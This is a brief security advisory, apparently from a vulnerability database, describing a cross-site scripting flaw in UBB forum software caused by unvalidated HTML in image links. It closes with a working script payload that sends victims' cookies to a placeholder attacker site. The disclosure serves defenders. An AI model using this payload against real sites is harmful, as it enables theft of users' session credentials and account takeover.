UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.
UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.
This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
The following example will send cookie-based authentication credentials to the attacker's site:

('<img%20src=http://attackersite/tools/cookie.plx?
cookie='+escape(document.cookie)+'>')
